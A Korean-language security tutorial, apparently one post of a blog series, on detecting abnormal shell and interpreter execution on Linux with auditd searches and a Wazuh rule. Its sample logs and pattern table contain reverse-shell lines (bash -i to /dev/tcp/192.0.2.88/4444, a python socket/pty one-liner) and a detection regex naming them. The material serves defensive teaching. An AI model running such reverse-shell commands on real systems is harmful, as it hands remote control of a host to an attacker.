시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 12/50편 (전체 262/450)
학습 단계: 비정상 프로세스 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
셸(bash·sh)과 인터프리터(python·perl·ruby)는 공격자가 명령을 실행하는 핵심 도구입니다. 정상 사용과 공격 사용을 구분하려면 실행 방식(인터랙티브·인라인·리다이렉션)을 봐야 합니다.
셸·인터프리터 비정상 실행 패턴
인라인 코드: python -c '...', perl -e '...' (한 줄 실행)
리버스 셸: bash -i + /dev/tcp/<IP>/<PORT> (양방향 리다이렉션)
비정상 부모: 서비스가 생성한 셸(F11)
인코딩 실행: base64 -d | sh (F06)
비대화형 환경 셸: 웹 계정의 인터랙티브 셸
정상: 로그인 셸·스크립트 / 공격: 인라인·소켓·서비스 자식
핵심은 셸·인터프리터가 네트워크 소켓과 결합(리버스 셸)하거나 인라인 코드로 실행되는 패턴입니다.
/dev/tcp/ 리다이렉션은 bash 리버스 셸의 결정적 지표입니다.| 실행 방식 | 패턴 | 위험 |
|---|---|---|
| 리버스 셸 | bash -i + /dev/tcp/ | 매우 높음 |
| 인라인 코드 | python -c·perl -e | 높음 |
| 인코딩 실행 | base64 -d|sh | 높음 |
| 서비스→셸 | 비정상 부모 | 높음 |
| 로그인 셸 | 정상 | 정상 |
# 셸·인터프리터 비정상 실행 탐지 (분석 방법)
# 리버스 셸 패턴(/dev/tcp 리다이렉션)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'proctitle=.*(/dev/tcp/|bash -i|sh -i)' | tail
# 인터프리터 인라인 코드 실행
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(python[0-9.]* -c|perl -e|ruby -e|php -r).*'
$ (리버스 셸 패턴) (없음)
$ (인라인 코드) (없음 또는 정상 배포 스크립트)
셸·인터프리터가 로그인·정상 스크립트로만 실행되고, 리버스 셸·악성 인라인 코드가 없는 상태가 정상입니다.
$ (리버스 셸 패턴)
proctitle="bash -i /dev/tcp/192.0.2.88/4444 (양방향 리다이렉션 소켓 연결)"
$ (인라인 코드)
proctitle="python3 -c import socket,os,pty;s=socket.socket();..."
/dev/tcp/ 리다이렉션 → 리버스 셸(공격자에게 셸 연결)셸 비정상 실행 분석입니다(가상의 예시 로그).
type=SYSCALL comm="bash" ppid_comm="sh" auid=www-data
type=PROCTITLE proctitle=bash -i /dev/tcp/192.0.2.88/4444 (양방향 리다이렉션 소켓 연결)
→ 인터랙티브 셸을 외부 소켓에 연결(리버스 셸)
[계보] nginx→sh→bash(리버스셸) (F11)
| 관찰 | 해석 |
|---|---|
| bash -i | 인터랙티브 셸 |
| /dev/tcp/ | 소켓 연결 |
| 외부 IP:4444 | C2 |
| 계보 웹→셸 | 웹셸 기원 |
셸+소켓 결합이 리버스 셸(C2)의 결정적 증거입니다.
/dev/tcp/ 리다이렉션은 bash 리버스 셸의 결정적 지표입니다.<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,process,">
<rule id="105110" level="14">
<if_sid>105010</if_sid>
<field name="audit.proctitle" type="pcre2">/dev/tcp/|/dev/udp/|(bash|sh)\s+-i\s+.*(>&|0>&1)|(python[0-9.]*|perl)\s+-[ce]\s+.*(socket|pty\.spawn)</field>
<description>셸·인터프리터 리버스 셸·인라인 코드 실행</description>
<mitre><id>T1059.004</id><id>T1071</id></mitre>
</rule>
</group>
리버스 셸 패턴(level 14)은 즉시 경보 대상입니다. 정상 인라인 스크립트는 좁은 예외로 처리합니다.
| 실행 방식 | 패턴 |
|---|---|
| 리버스 셸 | bash -i + /dev/tcp/ |
| 인라인 코드 | python -c·perl -e |
| 인코딩 실행 | base64 -d|sh |
| 서비스→셸 | 비정상 부모 |
| 면접 포인트 | "셸+소켓 결합(/dev/tcp)이 리버스 셸의 결정적 지표 — 즉시 경보" |
다음 편 263. 프로세스·지속성 — 삭제된 바이너리 실행(deleted binary) 탐지 에서는 삭제된 바이너리 실행을 다루는 삭제된 바이너리 실행(deleted binary) 탐지를 다룹니다.
이전 편: 261. 프로세스·지속성 — 부모-자식 관계 이상 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점